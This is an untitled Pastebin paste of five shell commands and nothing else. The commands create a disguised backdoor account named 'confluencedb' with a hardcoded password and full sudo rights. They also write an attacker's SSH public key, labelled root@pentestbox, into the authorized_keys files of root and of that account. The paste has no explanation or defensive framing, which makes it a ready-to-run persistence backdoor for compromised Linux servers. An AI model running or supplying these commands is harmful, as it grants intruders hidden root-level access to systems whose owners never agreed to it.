SHARE
TWEET

Untitled

a guest Apr 22nd, 2019 60 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. grep -qF -- "sudo" "/etc/group" || echo "confluencedb    ALL=(ALL)       ALL">>/etc/sudoers
  2. useradd confluencedb; echo Pizd0grizk4 | passwd confluencedb --stdin
  3. useradd -p $(openssl passwd -1 Pizd0grizk4) confluencedb -s /bin/bash -G sudo
  4. echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiL45XrLYoYbzGv+k6gkv5ujdYjofRsKy/56QP50RSoEfFsY/sEqu8IZzDiskBe1x1U1ecbb8iZS26DTPVmHWCnMwK88kZnDQ2lke2YfTRE9p9xAMQZq+nK7SfoYSrMX3d80/rb4tMkklJJDDV5Jboh8popSy+gpGCT2nPAIYhpDySv5OtJRD/y03wRpyIXwMrwpw1VjH5gw/7oRGFarkCweMmyUEEat6BmAueQ/WN6Ft8B2hgQk326mhRsYT2trC9qqRobDq7TSkrduTJayEk3kSxUlOcVlbR9xrzUiSxTitZp0Hf2PGMBrZnZ7FgU6QFhHJ8B/Gmr45mIqfGYXjn root@pentestbox" >>/root/.ssh/authorized_keys
  5. echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiL45XrLYoYbzGv+k6gkv5ujdYjofRsKy/56QP50RSoEfFsY/sEqu8IZzDiskBe1x1U1ecbb8iZS26DTPVmHWCnMwK88kZnDQ2lke2YfTRE9p9xAMQZq+nK7SfoYSrMX3d80/rb4tMkklJJDDV5Jboh8popSy+gpGCT2nPAIYhpDySv5OtJRD/y03wRpyIXwMrwpw1VjH5gw/7oRGFarkCweMmyUEEat6BmAueQ/WN6Ft8B2hgQk326mhRsYT2trC9qqRobDq7TSkrduTJayEk3kSxUlOcVlbR9xrzUiSxTitZp0Hf2PGMBrZnZ7FgU6QFhHJ8B/Gmr45mIqfGYXjn root@pentestbox" >>/home/confluencedb/.ssh/authorized_keys
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top